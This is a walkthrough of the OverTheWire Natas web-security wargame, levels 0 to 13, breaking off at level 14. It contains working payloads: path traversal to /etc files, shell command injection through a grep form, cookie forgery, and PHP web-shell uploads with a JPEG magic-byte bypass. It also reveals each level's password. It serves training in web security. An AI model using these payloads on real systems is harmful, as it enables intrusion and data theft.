Skip to the content.

Natas

Natas teaches the basics of serverside web-security.

Each level of natas consists of its own website located at http://natasX.natas.labs.overthewire.org, where X is the level number. There is no SSH login. To access a level, enter the username for that level (e.g. natas0 for level 0) and its password.

Each level has access to the password of the next level. Your job is to somehow obtain that next password and level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.

Start here:

Username: natas0 Password: natas0 URL: http://natas0.natas.labs.overthewire.org

Natas 0

Credentials

Username: natas0

Password: natas0

URL: http://natas0.natas.labs.overthewire.org

Message

You can find the password for the next level on this page.

Solution

View page source:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas0", "pass": "natas0" };</script></head>
<body>
<h1>natas0</h1>
<div id="content">
You can find the password for the next level on this page.

<!--The password for natas1 is 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq -->
</div>
</body>
</html>

Natas 1

Credentials

Username: natas1

Password: 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq

URL: http://natas1.natas.labs.overthewire.org

Message

You can find the password for the next level on this page, but rightclicking has been blocked!

Solution

Use browser console (usually F12 opens it).

This allows to see the HTML content, which includes the following.

<h1>natas1</h1>
<div id="content">
You can find the password for the
next level on this page, but rightclicking has been blocked!

<!--The password for natas2 is TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI -->
</div>

...

Natas 2

Credentials

Username: natas2

Password: TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI

URL: http://natas2.natas.labs.overthewire.org

Message

There is nothing on this page

Solution

Page source:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas2", "pass": "TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI" };</script></head>
<body>
<h1>natas2</h1>
<div id="content">
There is nothing on this page
<img src="files/pixel.png">
</div>
</body></html>

Navigate to http://natas2.natas.labs.overthewire.org/files/. Here we find pixel.png, as expected, and users.txt:

# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
eve:zo4mJWyNj2
mallory:9urtcpzBmH

Natas 3

Credentials

Username: natas3

Password: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH

URL: http://natas3.natas.labs.overthewire.org

Message

There is nothing on this page

Solution

Inner HTML:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas3", "pass": "3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH" };</script></head>
<body>
<h1>natas3</h1>
<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
</div>
</body></html>

Have a look at http://natas3.natas.labs.overthewire.org/robots.txt:

User-agent: *
Disallow: /s3cr3t/

Thus go to http://natas3.natas.labs.overthewire.org/s3cr3t/. Here we find users.txt (at http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt):

natas4:QryZXc2e0zahULdHrtHxzyYkj59kUxLQ

Natas 4

Credentials

Username: natas4

Password: QryZXc2e0zahULdHrtHxzyYkj59kUxLQ

URL: http://natas4.natas.labs.overthewire.org

Message

Access disallowed. You are visiting from “” while authorized users should come only from “http://natas5.natas.labs.overthewire.org/”

Solution

Refresh the page with the link. The message changes to

Access disallowed. You are visiting from “http://natas4.natas.labs.overthewire.org/” while authorized users should come only from “http://natas5.natas.labs.overthewire.org/”

Page source:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas4", "pass": "QryZXc2e0zahULdHrtHxzyYkj59kUxLQ" };</script></head>
<body>
<h1>natas4</h1>
<div id="content">

Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>
</html>

Suspect that it has something to do with the request headers. Inspect them using the browser console. See:

Referer: http://natas4.natas.labs.overthewire.org/

Try to change that. A way is using Burp Suite. Edit the request header: intercept the request with Proxy, send it to Repeater and edit the Referer header setting it to http://natas5.natas.labs.overthewire.org/. This gives us a different response which contains:

<div id="content">

Access granted. The password for natas5 is 0n35PkggAPm2zbEpOU802c0x0Msn1ToK
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>

Natas 5

Credentials

Username: natas5

Password: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK

URL: http://natas5.natas.labs.overthewire.org

Message

Access disallowed. You are not logged in

Solution

Intercepting the request, we see that this is:

GET /index.php HTTP/1.1
Host: natas5.natas.labs.overthewire.org
Cache-Control: max-age=0
Authorization: Basic bmF0YXM1OjBuMzVQa2dnQVBtMnpiRXBPVTgwMmMweDBNc24xVG9L
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: [UNDISCLOSED]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: loggedin=0
Connection: keep-alive

Reading carefully, we notice: Cookie: loggedin=0.

Try to set this to 1 and resend the request…

This changes the response to:

HTTP/1.1 200 OK
Date: Fri, 20 Sep 2024 16:30:46 GMT
Server: Apache/2.4.58 (Ubuntu)
Set-Cookie: loggedin=1
Vary: Accept-Encoding
Content-Length: 890
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas5", "pass": "0n35PkggAPm2zbEpOU802c0x0Msn1ToK" };</script></head>
<body>
<h1>natas5</h1>
<div id="content">
Access granted. The password for natas6 is 0RoJwHdSKWFTYR5WuiAewauSuNaBXned</div>
</body>
</html>

Natas 6

Credentials

Username: natas6

Password: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned

URL: http://natas6.natas.labs.overthewire.org

Message

Input secret: …

Submit.

Solution

The page requests a secret.

The source:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas6", "pass": "<censored>" };</script></head>
<body>
<h1>natas6</h1>
<div id="content">

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Thus there is a http://natas6.natas.labs.overthewire.org/includes/secret.inc file… Try to get it with curl:

curl -H "Authorization: Basic bmF0YXM2OjBSb0p3SGRTS1dGVFlSNVd1aUFld2F1U3VOYUJYbmVk" http://natas6.natas.labs.overthewire.org/includes/secret.inc
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

Submit the secret in the field requiring it and get:

Access granted. The password for natas7 is bmg8SvU1LizuWjx3y7xkNERkHxGre0GS

Natas 7

Credentials

Username: natas7

Password: bmg8SvU1LizuWjx3y7xkNERkHxGre0GS

URL: http://natas7.natas.labs.overthewire.org

Message

There is a page with a Home and an About links.

Solution

The Home page redirects to http://natas7.natas.labs.overthewire.org/index.php?page=home, the About page to http://natas7.natas.labs.overthewire.org/index.php?page=about.

Try to get http://natas7.natas.labs.overthewire.org/index.php?page=test:

Warning: include(test): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21

Warning: include(): Failed opening ‘test’ for inclusion (include_path=’.:/usr/share/php’) in /var/www/natas/natas7/index.php on line 21

This error message is very useful… We can get a file from the file system, it seems.

It gives us also the base directory…

Try http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../../../etc/passwd.

This works, but we are not interested in this…

Try: http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../../../etc/natas_webpass/natas8. This gives us:

xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q

Natas 8

Credentials

Username: natas8

Password: xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q

URL: http://natas8.natas.labs.overthewire.org

Message

Input secret: …

Solution

There is a View sourcecode link. The source code is this:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas8", "pass": "<censored>" };</script></head>
<body>
<h1>natas8</h1>
<div id="content">

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

<form method=post>
Input secret: <input name=secret><br>
<input type=submit name=submit>
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

We have two interesting pieces of information:

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

and

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

We shall reverse the encoding on the given encoded secret; the value thus obtained shall be passed into the form in the page.

Try with the following reversing code:

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function decodeSecret($encodedSecret) {
    return base64_decode(strrev(hex2bin($encodedSecret)));
}

echo decodeSecret($encodedSecret);

This prints:

oubWYf2kBq

This works: it returns:

Access granted. The password for natas9 is ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t

Natas 9

Credentials

Username: natas9

Password: ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t

URL: http://natas9.natas.labs.overthewire.org

Message

Find words containing: …

Solution

There is the View sourcecode link.

The source code:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas9", "pass": "<censored>" };</script></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

The relevant PHP code:

$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}

Try http://natas9.natas.labs.overthewire.org/?needle=password. This returns:

password
password's
passwords

The form does exactly this: it gets a word, say asd, and sends it to: http://natas9.natas.labs.overthewire.org/?needle=asd&submit=Search.

Find some interesting information about passthru here: https://www.php.net/manual/en/function.passthru.php.

The function is similar to exec.

If we input zope dictionary.txt; cat , we get what seems to be the content of dictionary.txt

Interesting. Let’s try

zope dictionary.txt; cat /etc/natas_webpass/natas10 | tee

This gives us:

t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu

Natas 10

Credentials

Username: natas10

Password: t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu

URL: http://natas10.natas.labs.overthewire.org

Message

For security reasons, we now filter on certain characters

Find words containing: …

Solution

Now asd; cat doesn’t work anymore:

Input contains an illegal character!

Neither does &&.

The source code (obtained from the link):

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas10", "pass": "<censored>" };</script></head>
<body>
<h1>natas10</h1>
<div id="content">

For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Try to exploit the behaviour of grep: this searches any given input file. We can provide more than one…

Input: p /etc/natas_webpass/natas11: this corresponds to the executed command:

grep -i p /etc/natas_webpass/natas11 dictionary.txt

so this will search both dictionary.txt and /etc/natas_webpass/natas11 for the character p and gives us:

/etc/natas_webpass/natas11:UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk
...

Natas 11

Credentials

Username: natas11

Password: UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk

URL: http://natas11.natas.labs.overthewire.org

Message

Cookies are protected with XOR encryption

Background color: [#ffffff]

Solution

The source code (link):

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas11", "pass": "<censored>" };</script></head>
<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);



?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}

?>

<form>
Background color: <input name=bgcolor value="<?=$data['bgcolor']?>">
<input type=submit value="Set color">
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

From the code, we expect a cookie called data to be present. Effectively, the cookie is there and contains:

HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg%3D

We need to decode / decrypt it.

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);

and in particular:

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

Intercept a request:

GET /?bgcolor=%23ffaaaa HTTP/1.1
Host: natas11.natas.labs.overthewire.org
User-Agent: [UNDISCLOSED]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://natas11.natas.labs.overthewire.org/
Authorization: Basic bmF0YXMxMTpVSmRxa0sxcFR1NlZMdDlVSFdBZ1JaejZzVlVaM2xFaw==
Connection: keep-alive
Cookie: data=HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEOBCU2TRg%3D
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Priority: u=0, i

This is the same cookie we see in the browser Storage:

HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEOBCU2TRg%3D

Code to decrypt the cookie:

$cookie = "HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEOBCU2TRg";

function xor_encrypt($in) {
    $key = json_encode(array("showpassword" => "no", "bgcolor" => "#ffffff"));
    $text = base64_decode($in);
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

print xor_encrypt($cookie);

We get: eDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWhbCPoe

Now:

$cookie = array("showpassword" => "yes", "bgcolor" => "#ffffff");

function xor_encrypt($in) {
    $key = "eDWo";
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

print base64_encode(xor_encrypt(json_encode($cookie)));

Got: HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5.

This shows the password:

The password for natas12 is yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB

Natas 12

Credentials

Username: natas12

Password: yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB

URL: http://natas12.natas.labs.overthewire.org

Message

Choose a JPEG to upload (max 1KB):

Solution

Source code (link):

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas12", "pass": "<censored>" };</script></head>
<body>
<h1>natas12</h1>
<div id="content">
<?php

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

One-liner PHP RCE code:

<?php echo shell_exec($_GET['e'].' 2>&1'); ?>

Also, the client renames the file to .jpg:

<input
  type="hidden"
  name="filename"
  value="<?php print genRandomString(); ?>.jpg"
/>

This can easily be changed: it’s client side…

Edit the .jpg in .php and upload the PHP one-liner.

We get:

The file upload/f2ce8mjyzp.php has been uploaded

So we use the link passing e as parameter: natas12.natas.labs.overthewire.org/upload/f2ce8mjyzp.php?e=cat /etc/natas_webpass/natas13.

Get: trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC.

Natas 13

Credentials

Username: natas13

Password: trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC

URL: http://natas13.natas.labs.overthewire.org

Message

For security reasons, we now only accept image files!

Choose a JPEG to upload (max 1KB):

Solution

Source code:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas13", "pass": "<censored>" };</script></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>

<?php

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Try to bypass exif_imagetype: create a Python script that creates a shell.php with the desired JPEG image bytes:

fh = open('shell.php', 'wb')
fh.write(b'\xFF\xD8\xFF\xE0' + b'<? passthru($_GET["cmd"]); ?>')
fh.close()

This gives us a shell.php that we can try to upload.

Do not forget to edit the file extension in the client-side code!

We are able to upload the .php file:

The file upload/s81yasyzvd.php has been uploaded

Go to natas13.natas.labs.overthewire.org/upload/s81yasyzvd.php?cmd=cat /etc/natas_webpass/natas14:

z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ

Natas 14

Credentials

Username: natas14

Password: z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ

URL: http://natas14.natas.labs.overthewire.org

Message

Username: …

Password: …

Solution

Source code (link):

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas14", "pass": "<censored>" };</script></head>
<body>
<h1>natas14</h1>
<div id="content">
<?php
